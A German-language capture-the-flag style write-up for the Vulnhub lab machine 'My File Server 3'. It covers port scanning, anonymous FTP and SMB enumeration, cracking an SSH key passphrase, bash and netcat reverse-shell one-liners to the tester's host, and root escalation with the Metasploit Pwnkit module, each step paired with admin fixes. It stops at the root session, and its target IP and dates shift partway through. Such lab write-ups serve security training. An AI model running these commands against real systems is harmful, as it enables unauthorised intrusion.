My_file_server_3 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
ftp
wget
enum4linux
smbclient
cat
grep
telnet
ssh-keygen
ssh
find
bash
metasploit (msfconsole)
nc (implied)
mkfifo
su
id
cd
ls
mkdir
put (smbclient/ftp)
get (smbclient)
pwd
rm

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase dient der Identifizierung des Zielsystems und der Analyse seiner offenen Ports und Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.130	08:00:27:77:fc:eb	PCS Systemtechnik GmbH
                     

Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.

Bewertung: Ein Host mit der IP-Adresse `192.168.2.130` wurde erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:77:fc:eb`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP `192.168.2.130` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
  192.168.2.130   my_file_server.vuln
                     

Analyse: Der Hostname `my_file_server.vuln` wird der IP `192.168.2.130` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.130 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 22:54 CEST
Nmap scan report for my_file_server.vuln (192.168.2.130)
Host is up (0.00011s latency).
Not shown: 64503 filtered tcp ports (no-response), 20 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION 
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19  2020 pub [NSE: writeable] 
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199 
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)  
| ssh-hostkey:
|   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
|   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS))  
|_http-title: 400 Bad Request 
|_http-server-header: Apache/2.4.6 (CentOS) 
111/tcp   open  rpcbind     2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug) 
445/tcp   open  samba       Samba smbd 4.9.1 (workgroup: SAMBA) 
2049/tcp  open  nfs         3-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR 
20048/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:77:FC:EB (Oracle VirtualBox virtual NIC) 
Aggressive OS guesses: Linux 3.4 - 3.10 (98%), Synology DiskStation Manager 5.2-5644 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 (93%), Linux 2.6.32 - 3.5 (92%), Linux 2.6.32 - 3.13 (92%) 
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; OS: Unix 

Host script results:
| smb2-time:
|   date: 2023-09-26T20:55:33
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|_  System time: 2023-09-27T02:25:35+05:30
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used:  
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1h49m51s, deviation: 3h10m29s, median: 7s

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.11 ms my_file_server.vuln (192.168.2.130)
                     

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`).

Bewertung: Der Scan identifiziert eine breite Palette offener Ports und veralteter Dienste:

  • **FTP (21):** vsftpd 3.0.2. **Kritisch:** Anonymer Login erlaubt und das Verzeichnis `/pub` ist **beschreibbar**.
  • **SSH (22):** OpenSSH 7.4 (alt).
  • **HTTP (80):** Apache 2.4.6 (CentOS) (alt). Gibt "400 Bad Request" zurück.
  • **RPCBind (111):** Aktiv, deutet auf NFS hin.
  • **SMB (445):** Samba 4.9.1. Gastzugriff möglich, Message Signing deaktiviert.
  • **NFS (2049):** NFS-Dienst läuft.
  • **FTP (2121):** ProFTPD 1.3.5. Anonymer Login erlaubt, aber Verzeichnislistung fehlerhaft. **Wichtig:** ProFTPD unterstützt oft `SITE CPFR`/`CPTO`.
  • **Mountd (20048):** NFS Mount Daemon.
Das Betriebssystem wird als älteres Linux (vermutlich CentOS 5/6) geschätzt. Die **beschreibbare anonyme FTP-Share (Port 21)**, die **NFS-Dienste** und der **ProFTPD (Port 2121)** sind die Hauptangriffsvektoren.

Empfehlung (Pentester):** 1. Untersuchen Sie NFS: Exportierte Verzeichnisse listen (`showmount -e 192.168.2.130`). Versuchen Sie, diese zu mounten. 2. Nutzen Sie den beschreibbaren anonymen FTP (Port 21): Was ist in `/pub`? Können Dateien hochgeladen und über NFS/Samba ausgeführt werden? 3. Nutzen Sie ProFTPD (Port 2121): Versuchen Sie `SITE CPFR`/`CPTO`, um Dateien (z.B. `/etc/passwd`, SSH-Schlüssel) an einen beschreibbaren Ort (FTP `/pub` oder Samba-Share) zu kopieren. 4. Untersuchen Sie Samba (Port 445): Shares listen (`smbclient -L //192.168.2.130 -N`), Gastzugriff testen.
Empfehlung (Admin):** **Dringend:** Anonyme Schreibrechte für FTP entfernen! NFS-Freigaben sichern! Alle Dienste und OS aktualisieren! Gastzugriff für Samba deaktivieren, Signing erzwingen. ProFTPD sichern.

Wir filtern die Nmap-Ausgabe nach offenen Ports.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.130 -p- | grep open
21/tcp    open  ftp         vsftpd 3.0.2
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0) 
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS)) 
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn? 
445/tcp   open  samba       Samba smbd 4.9.1 (workgroup: SAMBA) 
2049/tcp  open  nfs_acl     3 (RPC #100227) 
2121/tcp  open  ftp         ProFTPD 1.3.5
20048/tcp open  mountd      1-3 (RPC #100005)
34162/tcp open  nlockmgr    1-4 (RPC #100021)
56479/tcp open  status      1 (RPC #100024)
                    

Analyse: Filtert die Nmap-Ausgabe, um nur offene Ports anzuzeigen.

Bewertung: Zeigt die primären 12 offenen Ports übersichtlich an (einige RPC-bezogene Ports fehlen im grep).

Empfehlung (Pentester): Nutzen Sie die vollständige Nmap-Ausgabe für die Detailanalyse.
Empfehlung (Admin):** Reduzieren Sie die Anzahl offener Ports.

Web Enumeration

Wir untersuchen den Webserver auf Port 80, obwohl er einen Fehler zurückgibt, auf mögliche Hinweise.

Ein Gobuster-Scan wird gegen Port 80 durchgeführt:

┌──(root㉿Cybermaschine)-[~/HackingTools/lxd-alpine-builder] └─# gobuster dir -u http://192.168.2.130 -x [...] -w "[...]" -b '403,404' -e --no-error
http://192.168.2.130/index.html           (Status: 200) [Size: 174]
http://192.168.2.130/readme.txt           (Status: 200) [Size: 25]
                     

Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot auf Port 80.

Bewertung: Findet eine `index.html` und eine `readme.txt`. Der Fund der `readme.txt` ist potenziell wichtig.

Empfehlung (Pentester): Lesen Sie den Inhalt von `readme.txt`.
Empfehlung (Admin):** Entfernen Sie unnötige Dateien.

Analyse des Inhalts von `readme.txt` (implizit, Inhalt wird später gezeigt):

My Password is
rootroot1
                     

Analyse: Der Inhalt der Datei `/readme.txt` wird abgerufen.

Bewertung: **Kritischer Fund!** Die Datei enthält das Passwort `rootroot1` im Klartext.

Empfehlung (Pentester): Versuchen Sie dieses Passwort für den `root`-Benutzer (wahrscheinlich nicht bei SSH wegen Konfiguration) und für andere gefundene Benutzer (z.B. `smbuser`) bei SSH (Port 22) und FTP (Port 21).
Empfehlung (Admin):** **Niemals Passwörter im Klartext in Web-zugänglichen Dateien speichern!** Entfernen Sie diese Datei sofort.

FTP Enumeration

Wir untersuchen den FTP-Dienst auf Port 21 genauer, insbesondere den anonymen Zugang und das beschreibbare Verzeichnis.

Anonymer FTP-Login und Untersuchung:

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.130
Connected to 192.168.2.130.
220 (vsFTPd 3.0.2)
Name (192.168.2.130:cyber): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                     
ftp> ls -la
229 Entering Extended Passive Mode (|||5301|).
150 Here comes the directory listing.
drwxr-xr-x    3 0        0              16 Feb 18  2020 .
drwxr-xr-x    3 0        0              16 Feb 18  2020 ..
drwxrwxrwx    3 0        0              16 Feb 19  2020 pub 
226 Directory send OK. 
                     
ftp> cd /var
550 Failed to change directory.
ftp> put shell.py
local: shell.py remote: shell.py
229 Entering Extended Passive Mode (|||port|) 
550 Permission denied. 
                     
ftp> quit

Analyse: Anonymer FTP-Login. Das Stammverzeichnis enthält ein Verzeichnis `pub` mit Schreibrechten für alle (`drwxrwxrwx`). Versuche, das Verzeichnis zu wechseln oder ins Stammverzeichnis hochzuladen, scheitern.

Bewertung: Bestätigt den anonymen Zugang und das **kritische, beschreibbare `/pub`-Verzeichnis**. Eine Chroot-Umgebung ist wahrscheinlich.

Empfehlung (Pentester): Wechseln Sie in `/pub` und versuchen Sie dort den Upload. Kombinieren Sie dies mit Samba und ProFTPD.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für `/pub` (`chmod o-w /path/to/ftp/pub`). Deaktivieren Sie anonymen FTP.

Rekursives Herunterladen des FTP-Inhalts mit `wget`:

┌──(root㉿cycat)-[~] └─# wget -r ftp://Anonymous:Anonymous@192.168.2.130
--2023-09-26 22:59:58--  ftp://Anonymous:*password*@192.168.2.130/
           => 192.168.2.130/.listing
Verbindungsaufbau zu 192.168.2.130:21 … verbunden.
Anmelden als Anonymous … Angemeldet!
> SYST ... fertig.    > PWD ... fertig.
> TYPE I ... fertig.  > CWD nicht notwendig.
> PASV ... fertig.    > LIST ... fertig.
192.168.2.130/.listing      [ <=>                          ]     180  --.-KB/s    in 0s
2023-09-26 22:59:58 (30,5 MB/s) - 192.168.2.130/.listing gespeichert [180]
192.168.2.130/.listing gelöscht.
--2023-09-26 22:59:58--  ftp://Anonymous:*password*@192.168.2.130/pub/
           => 192.168.2.130/pub/.listing
> CWD (1) /pub ... fertig.
> PASV ... fertig.    > LIST ... fertig.
192.168.2.130/pub/.list     [ <=>                          ]     180  --.-KB/s    in 0s
2023-09-26 22:59:58 (31,5 MB/s) - 192.168.2.130/pub/.listing gespeichert [180] 
Verzeichnis »192.168.2.130/pub« aufgeräumt.
INSGESAMT Dateien: 180 Bytes in 1 Dateien geholt.
                     

Analyse: `wget -r` lädt den Inhalt des anonymen FTP-Bereichs herunter.

Bewertung: Bestätigt, dass `/pub` (initial) leer ist.

Empfehlung (Pentester): Fokus auf beschreibbares `/pub` und andere Dienste.
Empfehlung (Admin):** Keine Aktion erforderlich.

SMB Enumeration

Wir untersuchen den Samba-Dienst auf Port 445 auf Shares und Benutzer.

┌──(root㉿cycat)-[~] └─# enum4linux -a 192.168.2.130

 =( Share Enumeration on 192.168.2.130 )=

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	smbdata         Disk      smbdata 
	smbuser         Disk      smbuser 
	IPC$            IPC       IPC Service (Samba 4.9.1)

[+] Attempting to map shares on 192.168.2.130
//192.168.2.130/print$	Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.130/smbdata	Mapping: OK Listing: OK Writing: OK 
//192.168.2.130/smbuser	Mapping: DENIED Listing: N/A Writing: N/A

 =( User Enumeration on 192.168.2.130 )=

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\smbuser (Local User)

                    

Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch.

Bewertung: Findet Shares `print$`, `smbdata`, `smbuser`, `IPC$`. **Kritisch:** Share `smbdata` ist **anonym les- und schreibbar**. Identifiziert Benutzer `smbuser`.

Empfehlung (Pentester):** Die beschreibbare `smbdata`-Share ist ein Hauptangriffsvektor. Verbinden Sie sich als Gast (`smbclient //192.168.2.130/smbdata -N`) und untersuchen Sie den Inhalt. Laden Sie einen SSH-Schlüssel hoch. Testen Sie `rootroot1` für `smbuser` bei SSH/FTP.
Empfehlung (Admin):** **Dringend:** Anonymen Schreibzugriff für `smbdata` entfernen! Gastzugriff deaktivieren. RID-Cycling verhindern.

Untersuchung der `smbdata`-Share mit `smbclient`:

┌──(root㉿cycat)-[~] └─# smbclient //192.168.2.130/smbdata -N
Anonymous login successful
Try "help" to get a list of possible commands.
                     
smb: \> ls
  .                                   D        0  Thu Mar 19 05:53:12 2020
  ..                                  D        0  Tue Feb 18 12:47:54 2020
  anaconda                            D        0  Tue Feb 18 12:48:15 2020
  audit                               D        0  Tue Feb 18 12:48:15 2020
  boot.log                            N     6120  Tue Feb 18 12:48:16 2020
  btmp                                N      384  Tue Feb 18 12:48:16 2020
  cron                                N     4813  Tue Feb 18 12:48:16 2020
  dmesg                               N    31389  Tue Feb 18 12:48:16 2020
  dmesg.old                           N    31389  Tue Feb 18 12:48:16 2020
  glusterfs                           D        0  Tue Feb 18 12:48:16 2020
  lastlog                             N   292292  Tue Feb 18 12:48:16 2020
  maillog                             N     1982  Tue Feb 18 12:48:16 2020
  messages                            N   684379  Tue Feb 18 12:48:17 2020
  ppp                                 D        0  Tue Feb 18 12:48:17 2020
  samba                               D        0  Tue Feb 18 12:48:17 2020
  secure                              N    11937  Tue Feb 18 12:48:17 2020
  spooler                             N        0  Tue Feb 18 12:48:17 2020
  tallylog                            N        0  Tue Feb 18 12:48:17 2020
  tuned                               D        0  Tue Feb 18 12:48:17 2020
  wtmp                                N    25728  Tue Feb 18 12:48:17 2020
  xferlog                             N      100  Tue Feb 18 12:48:17 2020
  yum.log                             N    10915  Tue Feb 18 12:48:17 2020
  sshd_config                         N     3906  Wed Feb 19 08:46:38 2020 
  todo                                N      162  Tue Feb 25 15:22:29 2020
  id_rsa                              N     1766  Thu Mar 19 05:43:16 2020 
  note.txt                            N      128  Thu Mar 19 05:53:12 2020 

		19976192 blocks of size 1024. 17734272 blocks available
                     
smb: \> get id_rsa
getting file \id_rsa of size 1766 as id_rsa (78,4 KiloBytes/sec) (average 78,4 KiloBytes/sec)
smb: \> get note.txt
getting file \note.txt of size 128 as note.txt (3,7 KiloBytes/sec) (average 33,0 KiloBytes/sec)
smb: \> put shell.py
putting file shell.py as \shell.py (36,0 kb/s) (average 36,0 kb/s)
smb: \> put rce_shell.php
putting file rce_shell.php as \rce_shell.php (3,8 kb/s) (average 27,7 kb/s)
smb: \> exit

Analyse: Anonyme Verbindung zur `smbdata`-Share. Auflisten des Inhalts. Herunterladen von `id_rsa` und `note.txt`. Hochladen von `shell.py` und `rce_shell.php`.

Bewertung: **Kritischer Fund!** Die anonym beschreibbare Share enthält einen **privaten SSH-Schlüssel (`id_rsa`)** und eine Notiz (`note.txt`). Das Hochladen eigener Dateien ist ebenfalls möglich.

Empfehlung (Pentester):** 1. Analysieren Sie `note.txt`. 2. Analysieren Sie den privaten Schlüssel `id_rsa`. Prüfen Sie, zu welchem Benutzer er gehört (vermutlich `smbuser`, da dieser via enum4linux gefunden wurde). Versuchen Sie, ihn mit `ssh2john` und `john` zu knacken, falls er passwortgeschützt ist. Verwenden Sie den Schlüssel (ggf. mit geknacktem Passwort), um sich per SSH anzumelden. 3. Die hochgeladenen Shells sind wahrscheinlich nicht direkt ausführbar, aber der SSH-Schlüssel ist der direktere Weg.
Empfehlung (Admin):** **Dringend:** Anonymen R/W-Zugriff auf Samba-Shares entfernen! Speichern Sie niemals private Schlüssel auf öffentlichen Shares!

Analyse der heruntergeladenen Dateien:

┌──(root㉿cycat)-[~] └─# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,0111C403C183156C592743C68EA855BD

TRNiuBMH2lIgWgYpBb4MgbhQtW84gdUTJDRQLp/qwBv/KTbycWu+R07J2lGEFJH8

/GW22/sWS5fhDr4tynP8VdjiFwbBEcXYHa84XjeUZZaLJQTSwnE/afWVYty8AX
-----END RSA PRIVATE KEY-----
                     

Analyse: Der Inhalt des privaten Schlüssels wird angezeigt.

Bewertung: Der Header `Proc-Type: 4,ENCRYPTED` bestätigt, dass der Schlüssel **passwortgeschützt** ist.

Empfehlung (Pentester):** Verwenden Sie `ssh2john` und `john` (oder Hashcat), um die Passphrase des Schlüssels zu knacken.
Empfehlung (Admin):** Private Schlüssel immer mit starker Passphrase schützen.

┌──(root㉿cycat)-[~] └─# cat note.txt
I removed find command for security purpose, But don't want to delete 'getcap'.

I don't think 'getcap & capsh' known to anyone
                     

Analyse: Der Inhalt der Datei `note.txt` wird angezeigt.

Bewertung: Enthält einen Hinweis auf entfernte Befehle (`find`) und vorhandene Befehle (`getcap`, `capsh`), die für Linux Capabilities relevant sind. Dies könnte ein Hinweis auf einen Privesc-Vektor über Capabilities sein.

Empfehlung (Pentester): Behalten Sie diesen Hinweis für die lokale Enumeration nach dem Initial Access im Hinterkopf. Priorisieren Sie das Knacken der SSH-Schlüssel-Passphrase.
Empfehlung (Admin):** Keine Hinweise hinterlassen.

Knacken der SSH-Schlüssel-Passphrase:

┌──(root㉿cycat)-[~] └─# ssh2john id_rsa > hash
┌──(root㉿cycat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) 
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (id_rsa)
1g 0:00:00:00 DONE (2023-09-14 00:11) 100.0g/s 12800p/s 12800c/s 12800C/s 123456..estrella 
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                     

Analyse: `ssh2john` extrahiert den Hash aus der Schlüsseldatei. `john` wird mit `rockyou.txt` verwendet, um die Passphrase zu knacken.

Bewertung: Erfolg! Die Passphrase für den privaten Schlüssel ist `password`. Ein sehr schwaches Passwort.

Empfehlung (Pentester): Versuchen Sie den SSH-Login als `smbuser` mit dem Schlüssel `id_rsa` und der Passphrase `password`.
Empfehlung (Admin):** Starke Passphrasen für SSH-Schlüssel verwenden.

Initial Access

Wir nutzen den privaten SSH-Schlüssel und die geknackte Passphrase, um uns als Benutzer `smbuser` anzumelden.

┌──(root㉿cycat)-[~] └─# chmod 600 id_rsa
┌──(root㉿cycat)-[~] └─# ssh smbuser@192.168.2.113 -i id_rsa

   #					  InfoSec Warrior                                       #
   #                          www.InfoSecWarrior.com                       #
   #                                    My File Server - 3					# 
   #  			    Just a simple addition to the problem                               #
   #                               Designed By :- CyberKnight                                   #
   #                                Twitter    :- @CyberKnight00                                #


Enter passphrase for key 'id_rsa': password
Last login: Thu Mar 19 10:15:35 2020 from 192.168.56.1
[smbuser@fileserver ~]$
                     

Analyse: SSH-Login als `smbuser` unter Verwendung des privaten Schlüssels `id_rsa` und der geknackten Passphrase `password`.

Bewertung: Initial Access erfolgreich! Wir haben eine Shell als `smbuser`.

Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `smbuser`. Beachten Sie den Hinweis zu `getcap`/`capsh` aus der `note.txt`.
Empfehlung (Admin):** Korrigieren Sie die unsicheren Samba-Berechtigungen und die Speicherung des privaten Schlüssels. Verwenden Sie starke Passphrasen.

Local Enumeration & Shell Upgrade

Wir untersuchen das System als `smbuser` und richten eine Metasploit-Sitzung für weitere Schritte ein.

[smbuser@fileserver ~]$ whoami
smbuser
[smbuser@fileserver ~]$ ls /home/
bla  smbuser

Analyse: Überprüft den aktuellen Benutzer und listet die Home-Verzeichnisse auf.

Bewertung: Bestätigt den Benutzer `smbuser` und die Existenz des Benutzers `bla`.

Empfehlung (Pentester): Weiter enumerieren (SUID, sudo, Capabilities).
Empfehlung (Admin):** Keine Aktion.

Untersuchung einer potenziell interessanten ausführbaren Datei (Herkunft unklar):

[smbuser@fileserver ~]$ file runme
runme: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x46b1cd7b6ecced9b0afa3b0a063841128a72f190, not stripped
                     

Analyse: Der `file`-Befehl analysiert die Datei `runme` im aktuellen Verzeichnis (`~`).

Bewertung: **Wichtiger Fund!** Die Datei `runme` ist eine 64-Bit ELF-Datei mit gesetztem **SUID-Bit**. Dies ist ein sehr wahrscheinlicher Vektor für Privilegienerweiterung.

Empfehlung (Pentester): Führen Sie die Datei aus (`./runme`). Analysieren Sie sie mit `strings`, `ltrace`, `strace` oder einem Decompiler/Debugger, um ihre Funktionsweise zu verstehen und auszunutzen.
Empfehlung (Admin):** Überprüfen Sie benutzerdefinierte SUID-Dateien sorgfältig. Entfernen Sie das SUID-Bit, wenn es nicht absolut notwendig ist.

Analyse der OS-Version:

[smbuser@fileserver proftpd-1.3.5]$ cat /etc/os-release
NAME="CentOS Linux" 
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)" 
ANSI_COLOR="0;31" 
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/" 
BUG_REPORT_URL="https://bugs.centos.org/" 

CENTOS_MANTISBT_PROJECT="CentOS-7" 
CENTOS_MANTISBT_PROJECT_VERSION="7" 
REDHAT_SUPPORT_PRODUCT="centos" 
REDHAT_SUPPORT_PRODUCT_VERSION="7" 
                    

Analyse: Gibt den Inhalt von `/etc/os-release` aus.

Bewertung: Bestätigt, dass das System CentOS Linux 7 ist. Dies ist relevant für die Suche nach spezifischen Exploits.

Empfehlung (Pentester): Beachten Sie die OS-Version bei der Exploit-Suche.
Empfehlung (Admin):** System aktuell halten.

Versuch, `sudo` zu verwenden (scheitert):

[smbuser@fileserver bin]$ sudo -u bla esclate /bin/bash -p
[sudo] password for smbuser: (Passwort eingegeben)
smbuser is not in the sudoers file.  This incident will be reported.
                     

Analyse: Versuch, `sudo` zu verwenden, um einen Befehl als Benutzer `bla` auszuführen.

Bewertung: Fehlschlag. Der Benutzer `smbuser` hat keine `sudo`-Rechte.

Empfehlung (Pentester): Fokus auf den SUID-Binary `runme` oder Pwnkit.
Empfehlung (Admin):** Korrekte `sudoers`-Konfiguration.

Versuche, die SUID-Datei `esclate` (?) auszuführen:

[smbuser@fileserver bin]$ esclate
id
Why are you here ?!
                     
[smbuser@fileserver tmp]$ /usr/bin/esclate
Why are you here ?!
                     
[smbuser@fileserver ~]$ /usr/bin/esclate 123456789012345678901234567{27}123456789012345678901234567{27}123456789012345678901234567{27}123456789012345678901234567{27}123456789012345678901234567{27}
Speicherzugriffsfehler

Analyse: Verschiedene Versuche, eine Datei namens `esclate` (vermutlich die SUID-Datei `runme` umbenannt oder ein Link darauf) auszuführen, teilweise mit einem langen String als Argument, was auf einen Buffer Overflow-Versuch hindeutet.

Bewertung: Die Datei gibt eine Nachricht aus und stürzt bei einem langen Input mit einem Speicherzugriffsfehler ab. Dies deutet stark auf eine **Buffer Overflow-Schwachstelle** in der SUID-Datei hin. Dies ist ein klarer Privesc-Vektor.

Empfehlung (Pentester): Entwickeln Sie einen Exploit für den Buffer Overflow in `runme`/`esclate`, um eine Root-Shell zu erhalten. Dies erfordert Kenntnisse in Reverse Engineering und Exploit-Entwicklung. Alternativ: Prüfen Sie Pwnkit als einfachere Option.
Empfehlung (Admin):** Überprüfen Sie benutzerdefinierte SUID-Programme auf Sicherheitslücken wie Buffer Overflows. Entfernen Sie das SUID-Bit oder beheben Sie die Lücke.

Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):

[smbuser@fileserver ~]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4445 >/tmp/f
rm: das Entfernen von „/tmp/f“ ist nicht möglich: Datei oder Verzeichnis nicht gefunden
[smbuser@fileserver ~]$ bash -i >& /dev/tcp/192.168.2.199/4445 0>&1
msf6 > use multi/handler
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.113:port) at ... 
Shell Banner:
[smbuser@fileserver ~]$
--

[smbuser@fileserver ~]$
                     

Analyse: Eine Reverse Shell wird mittels Bash TCP Redirection zu Metasploit aufgebaut.

Bewertung: Erfolgreiche Shell-Sitzung (Session 1) als `smbuser`.

Empfehlung (Pentester): Upgrade zu Meterpreter für Pwnkit-Exploit.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen.

Ausführung von `local_exploit_suggester` in Metasploit (nach Upgrade zu Meterpreter, impliziert Session 3):

msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 3
session => 3
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.113 - Collecting local exploits for x86/linux...
[*] 192.168.2.113 - 186 exploit checks are being tried...
[+] 192.168.2.113 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.113 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.113 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
^C[-] 192.168.2.113 - Post interrupted by the console user
[*] Post module execution completed
                    

Analyse: Der `local_exploit_suggester` wird auf die Meterpreter-Sitzung angewendet.

Bewertung: Findet Pwnkit (CVE-2021-4034) als wahrscheinliche Schwachstelle sowie potenzielle Kernel-Exploits.

Empfehlung (Pentester): Nutzen Sie das Pwnkit-Modul in Metasploit. Dies ist einfacher und stabiler als der Versuch, den Buffer Overflow in `runme` auszunutzen.
Empfehlung (Admin):** Patchen Sie Polkit und den Kernel.

Proof of Concept (Privilege Escalation via Pwnkit)

Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`) mittels Metasploit, um Root-Rechte zu erlangen.

Kurzbeschreibung: Die lokale Enumeration (`find`) identifizierte `/usr/bin/pkexec`. Der Metasploit `local_exploit_suggester` bestätigte die Anfälligkeit für Pwnkit. Wir verwenden das entsprechende Metasploit-Modul, um eine Root-Meterpreter-Sitzung zu erhalten.

Voraussetzungen: Aktive Meterpreter-Sitzung als `smbuser` (Session 3). Vorhandensein einer anfälligen Version von `pkexec`.

Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 3
session => 3
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4545
lport => 4545
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4545
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.yjmzfdoztp
[+] The target is vulnerable.
[*] Writing '/tmp/.ucgciutubda/yhnqouycb/yhnqouycb.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.ucgciutubda
[*] Sending stage (3045348 bytes) to 192.168.2.113
[+] Deleted /tmp/.ucgciutubda/yhnqouycb/yhnqouycb.so
[+] Deleted /tmp/.ucgciutubda/.qinuliko
[+] Deleted /tmp/.ucgciutubda
[*] Meterpreter session 4 opened (192.168.2.199:4545 -> 192.168.2.113:35789) at 2023-09-14 00:55:39 +0200 
                    

Analyse: Das Pwnkit-Exploit-Modul wird geladen, auf die `smbuser`-Meterpreter-Sitzung (Session 3) gesetzt und ausgeführt. Ein neuer Listener wird auf Port 4545 gestartet.

Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 4).

